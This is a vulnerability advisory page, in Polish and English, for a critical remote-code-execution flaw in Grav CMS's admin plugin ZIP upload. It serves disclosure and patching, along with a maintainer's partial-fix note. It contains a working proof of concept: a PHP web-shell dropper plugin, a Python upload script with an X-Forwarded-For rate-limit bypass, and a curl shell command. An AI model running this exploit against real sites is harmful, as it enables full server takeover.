Krytyczna

Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature

  • Ujawniono: 05.05.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

An authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.

Details

The vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.

  • Vulnerable Endpoints: /admin/tools/direct-install
  • Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).
  • Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/

plugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.

PoC

  1. Prepare the Malicious Plugin

Create a directory named shellplugin and add the following files:

shellplugin.php:

php
<?php
namespace Grav\Plugin;
use Grav\Common\Plugin;

class ShellpluginPlugin extends Plugin {
    public static function getSubscribedEvents(): array {
        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
    }
    public function onPluginsInitialized(): void {
        $shell_path = GRAV_ROOT . '/shell.php';
        if (!file_exists($shell_path)) {
            file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
        }
    }
}

(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).

  1. Create the ZIP Archive
`zip -r /tmp/shellplugin.zip shellplugin/`

3. Execute the Exploit Script
Run the following Python script to automate the login, nonce retrieval, and malicious upload process:

`import requests, re, json


s = requests.Session()
BASE_URL = 'http://127.0.0.1'

1. Login and Bypass Rate Limit via X-Forwarded-For

python
r = s.get(f'{BASE_URL}/admin')
nonce = re.search(r'name="login-nonce" value="([^"]+)"', r.text).group(1)

r2 = s.post(f'{BASE_URL}/admin',
    headers={'X-Forwarded-For': '10.0.0.3'},
    data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce},
    allow_redirects=False)

redirect = json.loads(r2.text)['redirect']
s.get(redirect)
print(f"[+] Logged in successfully.")

2. Extract Admin Nonce from Tools Page

tools = s.get(f'{BASE_URL}/admin/tools/direct-install')
admin_nonce = re.search(r'admin-nonce.*?value="([a-f0-9]{32})"', tools.text).group(1)
print(f"[+] Retrieved Admin Nonce: {admin_nonce}")

3. Upload and Execute

with open('/tmp/shellplugin.zip', 'rb') as f:
    zip_data = f.read()

resp = s.post(f'{BASE_URL}/admin/tools/direct-install',
    data={'task': 'directInstall', 'admin-nonce': admin_nonce},
    files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')},
    headers={'X-Forwarded-For': '10.0.0.3'}
)

if "installation" in resp.text.lower():
    print("[+] Plugin installed successfully!")
    # Trigger the shell
    s.get(BASE_URL) 
    print(f"[+] RCE Check: {BASE_URL}/shell.php?cmd=id")`

4. Verification

Access the dropped shell to confirm command execution: curl -s "http://127.0.0.1/shell.php?cmd=whoami"

<img width="2547" height="756" alt="resim (2)" src="https://github.com/user-attachments/assets/6a8c25f1-9a9d-469f-ab68-3c7007e446d4" /> <img width="898" height="89" alt="resim (3)" src="https://github.com/user-attachments/assets/ec097785-1196-47a4-b24e-82fcbf0f7520" />

Impact

  • Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction).
  • Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP).
  • Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking.

Maintainer note — partial fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — ships in 2.0.0-beta.2.

What changed (path layer): Installer::unZip now pre-validates every entry name before calling ZipArchive::extractTo, and aborts the install if any entry looks like a Zip Slip primitive — .. path segments, absolute paths (Unix /… or Windows C:\…/\…), or NUL bytes. A crafted ZIP can no longer write files outside the target user/plugins/<slug> or user/themes/<slug> directory.

Explicit scope limitation: the "well-formed but malicious plugin code" angle of the PoC — uploading a plugin whose own PHP is the payload — is not addressed by this change. directInstall is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note.

Files:


Acknowledgements

The issue was identified by Security Researcher Mustafa Murat Akgül.


Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer getgrav/grav < 2.0.0-beta.2 2.0.0-beta.2

Odnośniki

Ocena CVSS 9.1/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-94
Platforma
Composer
Paczka
getgrav/grav
Ujawniono
05.05.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-w48r-jppp-rcfw - CC BY 4.0

Historia podatności: getgrav/grav

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (99) w archiwum
Wszystkich wpisów
99
Pierwsza → ostatnia
11.2019 09.2026
Bez poprawki
6
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 7
  • Wysoka 47
  • Średnia 41
  • Niska 4

Ujawnienia w latach

  1. 2019: 1
  2. 2020: 1
  3. 2021: 4
  4. 2022: 10
  5. 2023: 5
  6. 2024: 8
  7. 2025: 23
  8. 2026: 47
Istotność:
  1. Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature ten wpis
    Krytyczna · 9.1 CVE-2026-42607 < 2.0.0-beta.2 2.0.0-beta.2
  2. Wysoka · 8.8 CVE-2026-72819 < 2.0.13 2.0.13
  3. Wysoka CVE-2026-53653 >= 2.0.0-beta.1, < 2.0.0-rc.8, < 1.7.53 2.0.0-rc.8, 1.7.53
  4. Wysoka · 8.9 CVE-2026-42611 < 2.0.0-beta.2 2.0.0-beta.2
Pokaż więcej (20) Widać 21 z 54

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.